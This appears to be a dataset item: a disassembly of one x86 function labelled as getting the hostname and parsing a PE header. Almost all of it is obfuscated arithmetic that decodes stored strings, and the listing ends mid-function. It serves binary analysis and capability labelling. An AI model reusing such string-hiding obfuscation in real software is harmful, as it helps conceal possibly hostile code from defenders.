Function at 0x449b70
Capabilities:
Get hostname
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0xc0
mov esi, esp
mov ecx, dword [ebp + 8]
jmp 0x449b86
cmp dword [0x476680], 0
sete al
test al, 1
jne 0x449b99
jmp 0x44bb3f
mov al, byte [0x475ab6]
mov edi, ecx
mov cl, al
and cl, cl
xor cl, 0xff
and cl, 0xc5
xor cl, 0xff
xor al, 0xff
or al, 0xc5
and cl, al
xor cl, 0xff
mov byte [0x475aba], cl
mov al, byte [0x475ab7]
xor al, 0x8b
mov byte [0x475abb], al
mov al, byte [0x475ab8]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
and dl, 0x34
xor dl, 0xff
and al, 0xcb
xor al, 0xff
mov cl, dl
xor cl, 0xff
and cl, 0xdf
and dl, 0x20
or cl, dl
xor cl, 0x20
mov dl, al
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
shl dl, 1
sub dl, 0xff
sub al, dl
mov dl, cl
xor dl, 0xff
xor cl, 0xff
or dl, cl
mov cl, al
xor cl, 0xff
xor al, 0xff
or cl, al
xor dl, 0xff
xor cl, 0xff
or dl, cl
mov byte [0x475abc], dl
mov al, byte [0x475ab9]
mov cl, al
and cl, 0xbe
shl cl, 1
add al, 0xbe
sub al, cl
mov byte [0x475abd], al
mov al, byte [0x475a6e]
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
mov dl, al
sub dl, cl
or dl, 0x71
add dl, 0x8f
and al, 0x71
mov cl, dl
xor cl, 0xff
xor dl, 0xff
or cl, dl
and al, al
xor al, 0xff
xor cl, 0xff
xor al, 0xff
or cl, al
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
or al, dl
xor al, 0xff
or al, 0x11
and cl, 0x11
xor cl, 0xff
and al, cl
xor al, 0xff
mov byte [0x475a76], al
mov al, byte [0x475a6f]
mov cl, al
xor cl, 0xff
and cl, 0x95
xor al, 0xff
or al, 0x95
xor al, 0xff
and al, 0xff
or cl, al
mov byte [0x475a77], cl
mov al, byte [0x475a70]
xor al, 0x19
mov byte [0x475a78], al
mov cl, byte [0x475a71]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
or al, dl
and al, 0x49
xor al, 0xff
xor cl, 0xff
or cl, 0x49
and al, cl
xor al, 0xff
mov byte [0x475a79], al
mov al, byte [0x475a72]
mov cl, al
xor cl, 0xff
and cl, 0x34
and al, 0xcb
or cl, al
mov byte [0x475a7a], cl
mov al, byte [0x475a73]
xor al, 0xe2
mov byte [0x475a7b], al
mov al, byte [0x475a74]
mov cl, al
xor cl, 0xff
and cl, 0x10
and al, 0xef
or cl, al
mov byte [0x475a7c], cl
mov ch, byte [0x475a75]
mov al, ch
xor al, 0xf6
mov cl, al
xor cl, 0xff
xor al, 0xff
or cl, al
xor cl, 0xff
or cl, 0
xor cl, 0xff
or cl, 0
and cl, 0xf6
mov dl, cl
and dl, 0xfd
mov al, cl
xor al, 0xff
and al, 2
mul dl
mov dl, al
mov dh, cl
and dh, 2
or cl, 2
mov al, cl
mul dh
add al, dl
sub al, 0xf6
sub ch, al
mov byte [0x475a7d], ch
mov ax, word [0x475a80]
xor ax, 0x7a7e
mov word [0x475aa0], ax
mov ax, word [0x475a82]
xor ax, 0xea6
mov word [0x475aa2], ax
mov cx, word [0x475a84]
mov ax, cx
xor ax, 0xffff
and ax, 0x544d
mov dx, cx
and dx, 0xabb2
or ax, dx
xor ax, 0xabb2
and ax, 0xbf12
mov dx, cx
xor dx, 0x40ed
xor dx, 0xffff
or cx, 0x40ed
and cx, dx
mov dx, ax
or dx, cx
xor dx, 0xffff
xor ax, 0xffff
xor cx, 0xffff
and ax, cx
xor dx, 0xffff
xor ax, 0xffff
and dx, ax
xor dx, 0xe0e3
mov word [0x475aa4], dx
mov ax, word [0x475a86]
xor ax, 0x2fa
mov word [0x475aa6], ax
mov ax, word [0x475a88]
xor ax, 0x10d5
mov word [0x475aa8], ax
mov ax, word [0x475a8a]
xor ax, 0xfbe
mov word [0x475aaa], ax
mov ax, word [0x475a8c]
xor ax, 0x33c5
mov word [0x475aac], ax
mov ax, word [0x475a8e]
mov cx, ax
xor cx, 0xffff
or cx, 0xecb1
add cx, 0x134f
and ax, 0xecb1
or cx, ax
mov word [0x475aae], cx
mov cx, word [0x475a90]
mov dx, cx
and dx, dx
mov ax, dx
xor ax, 0xffff
xor dx, 0xffff
and ax, dx
xor ax, 0xffff
and ax, 0xffff
or ax, 0
xor ax, 0xffff
and ax, 0x2406
xor ax, 0xffff
mov dx, cx
xor dx, 0xffff
xor cx, 0xffff
and dx, cx
or dx, 0x2406
xor dx, 0xffff
xor dx, 0xffff
and ax, dx
mov cx, ax
xor cx, 0xffff
xor cx, 0xffff
and cx, 0xffff
shl cx, 1
sub cx, 0xffff
sub ax, cx
mov word [0x475ab0], ax
mov ax, word [0x475a92]
mov dx, ax
or dx, dx
xor dx, 0xffff
mov cx, ax
or cx, cx
xor cx, 0xffff
or dx, cx
xor dx, 0xffff
xor dx, 0xffff
xor dx, 0xffff
mov cx, dx
and cx, 0x8a17
xor cx, 0xffff
xor dx, 0xffff
or dx, 0x75e8
xor cx, 0xffff
xor dx, 0xffff
or cx, dx
or ax, 0x8a17
xor ax, 0xffff
xor cx, 0xffff
mov dx, ax
xor dx, 0xffff
xor ax, 0xffff
and dx, ax
xor dx, 0xffff
and dx, 0xffff
xor dx, 0xffff
and dx, 0xffff
and cx, dx
mov word [0x475ab2], cx
mov cx, word [0x475a94]
mov dx, cx
xor dx, 0xffff
mov ax, dx
xor ax, 0xffff
or ax, 0x6674
xor dx, 0xffff
or dx, 0x6674
xor ax, 0xffff
xor dx, 0xffff
or ax, dx
and cx, 0x6674
or ax, cx
mov cx, ax
or cx, cx
xor cx, 0xffff
xor cx, 0xffff
and cx, 0x6c25
or ax, 0x6c25
xor ax, 0xffff
xor cx, 0xffff
xor ax, 0xffff
and cx, ax
mov word [0x475ab4], cx
mov cl, byte [0x475984]
mov al, cl
xor al, 0xff
xor al, 0xff
xor al, 0x34
and al, 0x34
and cl, 0xcb
mov dl, al
xor dl, 0xff
mov ah, cl
xor ah, 0xff
and dl, ah
xor al, 0xff
xor cl, 0xff
and al, cl
xor dl, 0xff
xor al, 0xff
and dl, al
xor dl, 0xdd
mov byte [0x47598d], dl
mov al, byte [0x475985]
xor al, 0xb8
mov byte [0x47598e], al
mov al, byte [0x475986]
mov cl, al
xor cl, 0xff
and cl, 0x10
and al, 0xef
or cl, al
mov byte [0x47598f], cl
mov al, byte [0x475987]
mov cl, al
xor cl, 0xff
and cl, 0xf2
mov dl, al
and dl, 0xd
or cl, dl
xor cl, 0xd
xor cl, 0xff
xor cl, 0x25
and cl, 0x25
and al, 0xda
or cl, al
mov byte [str._H_d_5_], cl
mov al, byte [0x475988]
xor al, 0xf6
mov byte [0x475991], al
mov al, byte [0x475989]
mov cl, al
xor cl, 0xff
and cl, 0xfa
and al, 5
or cl, al
mov byte [0x475992], cl
mov al, byte [0x47598a]
mov dl, al
and dl, dl
xor dl, 0xff
mov cl, al
add cl, cl
add cl, 1
add cl, dl
xor cl, 0xff
and cl, 0xff
or cl, 0
mov dl, cl
and dl, 0x1d
xor cl, 0x1d
or dl, cl
mov cl, dl
xor cl, 0xff
and cl, 0xa6
and dl, 0x59
or cl, dl
xor cl, 0x59
mov dl, al
and dl, 0x1d
mov ah, al
xor ah, 0xe2
add al, ah
sub al, dl
xor al, 0xff
mov dl, al
xor dl, 0xff
mov ah, cl
and ah, dl
mov dl, cl
xor dl, al
add cl, dl
sub cl, ah
mov al, cl
xor al, 0xff
and al, 0x9f
and cl, 0x60
or al, cl
xor al, 0x60
mov byte [0x475993], al
mov al, byte [0x47598b]
mov cl, al
xor cl, 0x66
xor cl, 0xff
and cl, 0x66
shl cl, 1
sub cl, 0x66
sub al, cl
mov byte [0x475994], al
mov al, byte [0x47598c]
mov cl, al
xor cl, 0xa4
xor cl, 0xff
and cl, 0xa4
shl cl, 1
sub cl, 0xa4
sub al, cl
mov byte [0x475995], al
mov al, byte [0x4759f0]
mov cl, al
xor cl, 0xff
mov dl, al
xor dl, 0xff
or cl, dl
xor cl, 0xff
or cl, 0x32
and al, 0x32
xor al, 0xff
xor cl, 0xff
xor al, 0xff
or cl, al
mov byte [0x475a10], cl
mov cl, byte [0x4759f1]
mov al, cl
and al, al
xor al, 0xff
and al, 0xff
or al, 0
and al, 0x71
mov dl, al
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
shl dl, 1
sub dl, 0xff
sub al, dl
mov dl, cl
xor dl, 0xff
and dl, 0xa2
and cl, 0x5d
or dl, cl
xor dl, 0x5d
or dl, 0x71
and al, dl
xor al, 0xff
mov byte [0x475a11], al
mov al, byte [0x4759f2]
mov cl, al
xor cl, 0x28
xor cl, 0xff
and cl, 0x28
shl cl, 1
sub cl, 0x28
mov dl, al
sub dl, cl
mov cl, dl
xor cl, 0xff
xor dl, 0xff
and cl, dl
xor cl, 0xff
and cl, 0xff
or cl, 0
xor cl, 0xff
and cl, 0x28
shl cl, 1
sub cl, 0xa0
sub cl, 0x28
add cl, 0xa0
sub al, cl
mov byte [0x475a12], al
mov al, byte [0x4759f3]
xor al, 0x47
mov byte [0x475a13], al
mov al, byte [0x4759f4]
xor al, 0x7d
mov byte [0x475a14], al
mov al, byte [0x4759f5]
mov cl, al
xor cl, 0xff
mov dl, al
xor dl, 0xff
or cl, dl
and cl, 0xf5
xor cl, 0xff
xor al, 0xff
or al, 0xf5
xor cl, 0xff
xor al, 0xff
or cl, al
mov byte [0x475a15], cl
mov al, byte [0x4759f6]
mov cl, al
xor cl, 0xa2
xor cl, 0xff
xor cl, 0xff
xor cl, 0xa2
and cl, 0xa2
shl cl, 1
sub cl, 0xa2
xor cl, 0xff
add al, cl
add al, 1
mov byte [0x475a16], al
mov al, byte [0x4759f7]
mov cl, al
xor cl, 0xd
xor cl, 0xff
and cl, 0xd
shl cl, 1
sub cl, 0xd
xor edx, edx
sub dl, cl
add al, dl
mov byte [0x475a17], al
mov al, byte [0x4759f8]
mov cl, al
xor cl, 0xff
and cl, 0xa2
and al, 0x5d
or cl, al
mov byte [0x475a18], cl
mov al, byte [0x4759f9]
mov cl, al
xor cl, 0xff
or cl, 0xce
xor cl, 0xff
and cl, 0xff
shl cl, 1
add al, 0x31
sub al, cl
mov byte [0x475a19], al
mov al, byte [0x4759fa]
mov cl, al
and cl, cl
xor cl, 0xff
xor cl, 0xff
or cl, 0xfb
and al, 0xfb
xor al, 0xff
and cl, al
xor cl, 0xff
mov byte [0x475a1a], cl
mov al, byte [0x4759fb]
xor al, 0x98
mov byte [str.EiYas], al
mov cl, byte [0x4759fc]
mov al, cl
xor al, 0xff
xor al, 0xff
or al, 0xbf
xor al, 0xff
and al, 0xff
and cl, 0xbf
mov dl, cl
xor dl, 0xff
mov ah, al
and ah, dl
mov dl, al
xor dl, cl
add al, dl
sub al, ah
mov cl, al
xor cl, 0xff
and cl, 0xd0
and al, 0x2f
or cl, al
mov byte [0x475a1c], cl
mov dl, byte [0x4759fd]
mov al, dl
xor al, 0xff
and al, 0xb3
mov cl, dl
xor cl, 0xff
or cl, 0xb3
and dl, 0x4c
xor dl, 0xff
and cl, dl
xor cl, 0xff
mov dl, cl
and dl, al
xor dl, 0xff
add al, cl
add al, 1
add al, dl
mov cl, al
xor cl, 0xff
and cl, 0xa8
and al, 0x57
or cl, al
xor cl, 0x49
mov byte [0x475a1d], cl
mov al, byte [0x4759fe]
mov cl, al
xor cl, 0x8a
and cl, cl
xor cl, 0xff
and cl, 0xff
xor cl, 0xff
and cl, 0xff
xor cl, 0xff
mov dl, cl
xor dl, 0x8a
xor dl, 0xff
or cl, 0x8a
and cl, dl
shl cl, 1
add cl, 0x75
add cl, 1
sub al, cl
mov byte [0x475a1e], al
mov al, byte [0x4759ff]
mov cl, al
xor cl, 0xe3
xor cl, 0xff
and cl, 0xe3
shl cl, 1
sub cl, 0xe3
sub al, cl
mov byte [0x475a1f], al
mov al, byte [0x475a00]
mov cl, al
or cl, cl
xor cl, 0xff
xor cl, 0xff
and cl, 0x80
xor al, 0xff
and al, 0x7f
or cl, al
xor cl, 0xff
mov byte [0x475a20], cl
mov al, byte [0x475a01]
xor al, 0xa5
mov byte [0x475a21], al
mov al, byte [0x475a02]
mov cl, al
xor cl, 0xff
mov dl, al
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
or cl, dl
xor cl, 0xff
and cl, 0xff
or cl, 0x93
xor cl, 0xff
xor al, 0xff
and al, 0x93
xor cl, 0xff
mov dl, al
and dl, 0xff
shl dl, 1
add al, 0xff
sub al, dl
and cl, al
mov byte [0x475a22], cl
mov al, byte [0x475a03]
mov cl, al
xor cl, 0xff
and cl, 0x9e
and al, 0x61
or cl, al
xor cl, 0x80
mov byte [0x475a23], cl
mov al, byte [0x475a04]
mov cl, al
xor cl, 0xff
mov dl, al
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
or cl, dl
xor cl, 0xff
and cl, 0xff
or cl, 0xec
xor cl, 0xff
xor al, 0xff
and al, 0xec
mov dl, cl
xor dl, 0xff
xor cl, 0xff
or dl, cl
and dl, 0xff
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x475a24], dl
mov al, byte [0x475a05]
xor al, 0xde
mov byte [0x475a25], al
mov al, byte [0x475a06]
mov cl, al
and cl, cl
xor cl, 0xff
and cl, 0x51
xor cl, 0xff
xor al, 0xff
or al, 0x51
and cl, al
xor cl, 0xff
mov byte [0x475a26], cl
mov al, byte [0x475a07]
xor al, 0x6e
mov byte [0x475a27], al
mov cl, byte [0x4758e0]
mov al, cl
and al, 0x56
shl al, 1
xor edx, edx
sub dl, cl
add dl, 0xaa
xor ecx, ecx
sub cl, dl
sub cl, 0x77
sub cl, al
add cl, 0x77
mov byte [0x475900], cl
mov al, byte [0x4758e1]
xor al, 0x7d
mov byte [0x475901], al
mov al, byte [0x4758e2]
xor al, 0xd6
mov byte [0x475902], al
mov al, byte [0x4758e3]
xor al, 0x92
mov byte [0x475903], al
mov al, byte [0x4758e4]
xor al, 0x66
mov byte [0x475904], al
mov dl, byte [0x4758e5]
mov al, dl
or al, al
xor al, 0xff
xor al, 0xff
and al, 0x65
mov cl, dl
and cl, 0x65
xor dl, 0x65
or cl, dl
xor cl, 0xff
xor al, 0xff
mov dl, cl
xor dl, 0xff
and dl, 0x68
and cl, 0x97
or dl, cl
xor dl, 0x97
mov cl, al
xor cl, dl
xor cl, 0xff
or al, dl
and al, cl
mov byte [0x475905], al
mov al, byte [0x4758e6]
xor al, 0x53
mov byte [0x475906], al
mov al, byte [0x4758e7]
xor al, 0x22
mov byte [0x475907], al
mov cl, byte [0x4758e8]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
or al, dl
xor al, 0xff
or al, 0xea
and cl, 0xea
xor cl, 0xff
and al, cl
xor al, 0xff
mov byte [0x475908], al
mov al, byte [0x4758e9]
mov cl, al
or cl, cl
xor cl, 0xff
xor cl, 0xff
and cl, 0x65
or al, 0x65
xor al, 0xff
xor cl, 0xff
xor al, 0xff
and cl, al
mov byte [0x475909], cl
mov al, byte [0x4758ea]
mov cl, al
xor cl, 0xff
and cl, 0x20
and al, 0xdf
or cl, al
mov byte [0x47590a], cl
mov cl, byte [0x4758eb]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
and al, dl
or al, 0
xor al, 0xff
or al, 0
xor al, 0xff
mov dl, cl
and dl, dl
xor dl, 0xff
xor dl, 0xff
or dl, 0
xor dl, 0xff
or dl, 0
or al, dl
and al, 0x3b
xor al, 0xff
xor cl, 0xff
and cl, 0xff
or cl, 0
mov dl, cl
and dl, 0xc4
mov ah, cl
xor ah, 0x3b
add cl, ah
sub cl, dl
and al, cl
xor al, 0xff
mov byte [0x47590b], al
mov al, byte [0x4758ec]
xor al, 0x46
mov byte [0x47590c], al
mov al, byte [0x4758ed]
mov cl, al
xor cl, 0xff
and cl, 0x28
mov dl, al
and dl, 0xd7
or cl, dl
xor cl, 0xd7
xor cl, 0xff
xor cl, 0xf5
and cl, 0xf5
or al, al
xor al, 0xff
or al, 0xf5
xor al, 0xff
or cl, al
mov byte [0x47590d], cl
mov al, byte [0x4758ee]
xor al, 0x3e
mov byte [0x47590e], al
mov al, byte [0x4758ef]
xor al, 9
mov byte [0x47590f], al
mov al, byte [0x4758f0]
xor al, 0xf4
mov byte [0x475910], al
mov ch, byte [0x4758f1]
mov cl, ch
and cl, 9
mov dl, cl
and dl, 0xfd
mov al, cl
xor al, 0xff
and al, 2
mul dl
mov dl, al
mov dh, cl
and dh, 2
or cl, 2
mov al, cl
mul dh
add al, dl
mov cl, ch
and cl, 9
shl cl, 1
xor ch, 9
add ch, cl
xor al, 0xff
add ch, al
add ch, 1
mov byte [0x475911], ch
mov al, byte [0x4758f2]
xor al, 0xdd
mov byte [0x475912], al
mov cl, byte [0x4758f3]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
and al, dl
xor al, 0xff
and al, 0xac
xor cl, 0xff
and cl, 0x53
or al, cl
xor al, 0xff
mov byte [0x475913], al
mov al, byte [0x4758f4]
mov cl, al
and cl, cl
xor cl, 0xff
xor cl, 0xff
or cl, 0xa0
and al, 0xa0
xor al, 0xff
xor cl, 0xff
xor al, 0xff
or cl, al
mov byte [0x475914], cl
mov ch, byte [0x4758f5]
mov cl, ch
and cl, 0x3f
xor cl, 0xff
mov al, ch
and al, 0x3f
xor al, 0xff
xor cl, 0xff
xor al, 0xff
or cl, al
mov dl, cl
and dl, 0xfd
mov al, cl
xor al, 0xff
and al, 2
mul dl
mov dl, al
mov dh, cl
and dh, 2
or cl, 2
mov al, cl
mul dh
add al, dl
add ch, 0x3f
sub ch, al
mov byte [0x475915], ch
mov al, byte [0x4758f6]
xor al, 0x87
mov byte [0x475916], al
mov al, byte [0x4758f7]
xor al, 0x60
mov byte [0x475917], al
mov al, byte [0x4758f8]
mov dl, al
xor dl, 0xff
mov cl, dl
xor cl, 0xff
or cl, 0x9c
xor dl, 0xff
or dl, 0x9c
xor cl, 0xff
xor dl, 0xff
or cl, dl
and al, 0x9c
or cl, al
mov byte [0x475918], cl
mov al, byte [0x4758f9]
xor al, 0x10
mov byte [0x475919], al
mov al, byte [0x4758fa]
mov cl, al
xor cl, 0xff
or cl, 3
add cl, 0xfd
xor al, 0xff
or al, 0xfc
xor al, 0xff
and al, 0xff
or cl, al
mov byte [0x47591a], cl
mov al, byte [0x4758fb]
xor al, 0xe5
mov byte [0x47591b], al
mov al, byte [0x47596a]
mov dl, al
or dl, dl
xor dl, 0xff
xor dl, 0xff
and dl, 0x2b
xor al, 0xff
and al, 0xd4
mov cl, dl
xor cl, 0xff
xor dl, 0xff
or cl, dl
xor cl, 0xff
or cl, 0
and cl, 0xff
xor cl, 0xff
xor al, 0xff
and cl, al
mov byte [0x475977], cl
mov cl, byte [0x47596b]
mov dl, cl
xor dl, 0xff
mov ah, cl
xor ah, 0xff
mov al, dl
xor al, 0xff
mov ch, ah
xor ch, 0xff
and al, ch
xor dl, 0xff
xor ah, 0xff
and dl, ah
or al, dl
xor al, 0xff
and al, 0xa0
and al, al
xor al, 0xff
and al, 0xff
xor al, 0xff
and al, 0xff
xor al, 0xff
xor cl, 0xff
mov dl, cl
xor dl, 0xff
xor cl, 0xff
or dl, cl
and dl, 0x5f
xor dl, 0xff
xor al, 0xff
xor dl, 0xff
or al, dl
mov byte [0x475978], al
mov ch, byte [0x47596c]
mov al, ch
xor al, 0xf5
mov cl, al
xor cl, 0xff
and cl, 0x7b
and al, 0x84
or cl, al
xor cl, 0x84
and cl, 0xf5
mov dl, cl
and dl, 0xfd
mov al, cl
xor al, 0xff
and al, 2
mul dl
mov dl, al
mov dh, cl
and dh, 2
or cl, 2
mov al, cl
mul dh
add al, dl
sub al, 0xf5
sub ch, al
mov byte [0x475979], ch
mov al, byte [0x47596d]
xor al, 0x48
mov byte [0x47597a], al
mov cl, byte [0x47596e]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
mov ah, cl
xor ah, 0xff
and dl, ah
or dl, 0
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
or al, dl
mov dl, al
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
shl dl, 1
sub dl, 0xff
sub al, dl
or al, 0x17
mov dl, cl
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
shl dl, 1
sub dl, 0xff
sub cl, dl
or cl, 0xe8
mov dl, al
add dl, 1
xor al, 0xff
or al, cl
add al, dl
xor al, 0xff
and al, 0xff
or al, 0
mov byte [0x47597b], al
mov al, byte [0x47596f]
mov cl, al
or cl, cl
xor cl, 0xff
xor cl, 0xff
and cl, 0xd6
xor al, 0xff
and al, 0x29
xor cl, 0xff
xor al, 0xff
and cl, al
mov byte [0x47597c], cl
mov al, byte [0x475970]
mov dl, al
and dl, 0x97
shl dl, 1
mov cl, al
add cl, 0x97
sub cl, dl
xor cl, 0xff
and cl, 0x97
shl cl, 1
sub cl, 0x5c
sub cl, 0x97
add cl, 0x5c
sub al, cl
mov byte [0x47597d], al
mov al, byte [0x475971]
xor al, 0xfd
mov byte [0x47597e], al
mov al, byte [0x475972]
xor al, 0xdd
mov byte [0x47597f], al
mov al, byte [0x475973]
xor al, 0xf8
mov byte [0x475980], al
mov al, byte [0x475974]
mov cl, al
xor cl, 0xff
mov dl, al
xor dl, 0xff
and cl, dl
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub al, 1
xor edx, edx
sub dl, cl
add al, dl
mov byte [0x475981], al
mov al, byte [0x475975]
mov cl, al
xor cl, 0xff
and cl, 0x58
and al, 0xa7
or cl, al
xor cl, 0xc7
mov byte [0x475982], cl
mov al, byte [0x475976]
mov cl, al
xor cl, 0xff
mov dl, al
xor dl, 0xff
or cl, dl
xor cl, 0xff
or cl, 0xc7
and al, 0xc7
xor al, 0xff
xor cl, 0xff
xor al, 0xff
or cl, al
mov byte [0x475983], cl
mov al, byte [0x47591c]
mov cl, al
xor cl, 0xff
and cl, 0x45
mov dl, al
xor dl, 0x45
and dl, al
mov al, cl
xor al, 0xff
mov ah, dl
xor ah, 0xff
and al, ah
or cl, dl
xor cl, 0xff
or al, cl
xor al, 0xff
mov cl, al
xor cl, 0xff
and cl, 0x30
and al, 0xcf
or cl, al
xor cl, 2
mov byte [0x47592b], cl
mov al, byte [0x47591d]
mov cl, al
xor cl, 0xff
mov dl, al
xor dl, 0xff
and dl, 0xff
or dl, 0
or cl, dl
and cl, 0xf0
xor cl, 0xff
and al, 0xf
and al, al
xor al, 0xff
and al, 0xff
xor al, 0xff
and al, 0xff
xor al, 0xff
mov dl, cl
xor dl, 0xff
xor cl, 0xff
and dl, cl
mov cl, al
xor cl, 0xff
xor al, 0xff
and cl, al
xor dl, 0xff
xor cl, 0xff
and dl, cl
xor dl, 0xff
mov byte [0x47592c], dl
mov al, byte [0x47591e]
xor al, 0x66
mov byte [0x47592d], al
mov cl, byte [0x47591f]
mov al, cl
xor al, 0xff
xor al, 0xff
or al, 0xe4
xor al, 0xff
and al, 0xff
and cl, 0xe4
or al, cl
mov cl, al
or cl, cl
xor cl, 0xff
xor cl, 0xff
and cl, 0xb9
xor al, 0xff
and al, 0x46
xor cl, 0xff
xor al, 0xff
and cl, al
mov byte [0x47592e], cl
mov al, byte [0x475920]
mov cl, al
xor cl, 0xff
and cl, 0x2a
and al, 0xd5
or cl, al
xor cl, 0xc0
mov byte [0x47592f], cl
mov al, byte [0x475921]
mov dl, al
xor dl, 0xff
mov ah, al
xor ah, 0xff
mov cl, dl
and cl, 0xa3
mov ch, al
and ch, 0x5c
mov dh, ah
and dh, 0xa3
mov bl, al
and bl, 0x5c
or cl, ch
or dh, bl
xor cl, dh
or dl, ah
xor dl, 0xff
and dl, 0xff
or cl, dl
xor cl, 0xff
or cl, 0xf6
xor cl, 0xff
and cl, 0xff
or cl, 0
or al, 9
xor al, 0xff
mov dl, cl
and dl, al
xor cl, al
or dl, cl
xor dl, 0xff
mov byte [0x475930], dl
mov cl, byte [0x475922]
mov al, cl
xor al, 0xff
or al, 0x9d
add al, 0x63
and cl, 0x9d
or al, cl
mov cl, al
xor cl, 0xcb
xor cl, 0xff
and cl, 0xcb
shl cl, 1
sub cl, 0xcb
sub al, cl
mov byte [0x475931], al
mov al, byte [0x475923]
mov dl, al
xor dl, 0xff
mov ah, al
xor ah, 0xff
mov cl, dl
and cl, ah
xor cl, 0xff
and dl, ah
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
or cl, dl
and cl, cl
xor cl, 0xff
xor cl, 0xff
or cl, 0
and cl, 0xff
xor cl, 0xff
and cl, 0xbb
or al, 0xbb
mov dl, al
and dl, 0xff
shl dl, 1
add al, 0xff
sub al, dl
or cl, al
xor cl, 0xff
mov byte [0x475932], cl
mov cl, byte [0x475924]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
or al, dl
and al, 0x24
xor al, 0xff
xor cl, 0xff
or cl, 0x24
and al, cl
xor al, 0xff
mov byte [0x475933], al
mov al, byte [0x475925]
mov cl, al
xor cl, 0x5c
xor cl, 0xff
and cl, 0x5c
shl cl, 1
sub cl, 0x5c
sub al, cl
mov byte [0x475934], al
mov al, byte [0x475926]
mov cl, al
xor cl, 0xff
mov dl, al
xor dl, 0xff
and dl, 0x14
mov ah, al
and ah, 0xeb
or dl, ah
xor dl, 0xeb
mov ah, dl
xor ah, 0xff
mov ch, cl
and ch, ah
mov ah, cl
xor ah, dl
add cl, ah
sub cl, ch
xor cl, 0xff
mov ah, cl
xor ah, 0xff
mov dl, ah
and dl, 0x89
and cl, 0x76
or dl, cl
xor dl, 0x25
or ah, 0x53
xor ah, 0xff
and ah, 0xff
or dl, ah
xor al, 0xff
or al, 0x53
and dl, al
mov al, dl
xor al, 0xff
xor dl, 0xff
or al, dl
and al, 0xff
xor al, 0xff
and al, 0xff
xor al, 0xff
mov byte [0x475935], al
mov al, byte [0x475927]
mov cl, al
xor cl, 0xff
and cl, 0xff
or cl, 0
mov dl, cl
and dl, 0xf6
xor dl, 0xff
xor cl, 0xff
or cl, 9
xor dl, 0xff
xor cl, 0xff
or dl, cl
and al, 9
or dl, al
mov byte [0x475936], dl
mov al, byte [0x475928]
mov cl, al
xor cl, 0xff
mov dl, al
and dl, cl
mov ah, al
xor ah, ah
mov cl, al
add cl, ah
sub cl, dl
mov dl, cl
and dl, 0xff
shl dl, 1
add cl, 0xff
sub cl, dl
xor cl, 0xff
and cl, 0x29
mov dl, al
and dl, 0xff
shl dl, 1
add al, 0xff
sub al, dl
and al, 0xd6
xor cl, 0xff
xor al, 0xff
and cl, al
mov byte [0x475937], cl
mov al, byte [0x475929]
mov cl, al
xor cl, 0xff
and cl, 0x34
and al, 0xcb
or cl, al
xor cl, 0x65
mov byte [0x475938], cl
mov al, byte [0x47592a]
xor al, 0xbc
mov byte [0x475939], al
mov al, byte [0x475996]
mov cl, al
and cl, 0x13
shl cl, 1
add al, 0x13
sub al, 0xf
sub al, cl
add al, 0xf
mov byte [0x4759a1], al
mov cl, byte [0x475997]
mov al, cl
and al, al
xor al, 0xff
xor al, 0xff
and al, al
xor al, 0xff
and al, 0x5c
xor al, 0xff
xor cl, 0xff
and cl, 0xff
or cl, 0
mov dl, cl
xor dl, 0xff
xor cl, 0xff
or dl, cl
xor dl, 0xff
or dl, 0x5c
or al, al
xor al, 0xff
or al, 0
xor al, 0xff
xor al, 0xff
and al, 0xff
xor dl, 0xff
or al, dl
mov byte [0x4759a2], al
mov ch, byte [0x475998]
mov cl, ch
and cl, 0xa5
mov dl, cl
and dl, 0xfd
mov al, cl
xor al, 0xff
and al, 2
mul dl
mov dl, al
mov dh, cl
and dh, 2
or cl, 2
mov al, cl
mul dh
add al, dl
add ch, 0xa5
sub ch, al
mov byte [0x4759a3], ch
mov cl, byte [0x475999]
mov al, cl
or al, al
xor al, 0xff
xor al, 0xff
and al, 0xff
or al, 0
xor al, 0xff
and al, 0x55
and cl, 0xaa
or al, cl
xor al, 5
mov byte [0x4759a4], al
mov cl, byte [0x47599a]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
or al, dl
and al, 0x85
xor al, 0xff
xor cl, 0xff
mov dl, cl
and dl, 0x85
xor dl, 0xff
add cl, 0x85
add cl, 1
add cl, dl
and al, cl
xor al, 0xff
mov byte [0x4759a5], al
mov cl, byte [0x47599b]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
or al, dl
xor al, 0xff
or al, 0xa6
and cl, 0xa6
xor cl, 0xff
and al, cl
xor al, 0xff
mov byte [0x4759a6], al
mov cl, byte [0x47599c]
mov al, cl
xor al, 0xff
mov dl, al
xor dl, 0x36
xor dl, 0xff
or al, 0x36
and al, dl
mov dl, cl
add dl, 1
xor cl, 0xff
or cl, 0xc9
add cl, dl
or al, cl
xor al, 0xb3
mov byte [0x4759a7], al
mov al, byte [0x47599d]
xor al, 4
mov byte [0x4759a8], al
mov al, byte [0x47599e]
xor al, 0x1e
mov byte [0x4759a9], al
mov al, byte [0x47599f]
mov cl, al
or cl, cl
xor cl, 0xff
or cl, 1
xor cl, 0xff
or al, 0xfe
xor al, 0xff
xor cl, 0xff
xor al, 0xff
and cl, al
mov byte [0x4759aa], cl
mov al, byte [str.T_VJ]
xor al, 0x54
mov byte [0x4759ab], al
mov cl, byte [0x47595c]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
and al, dl
or al, 0xa1
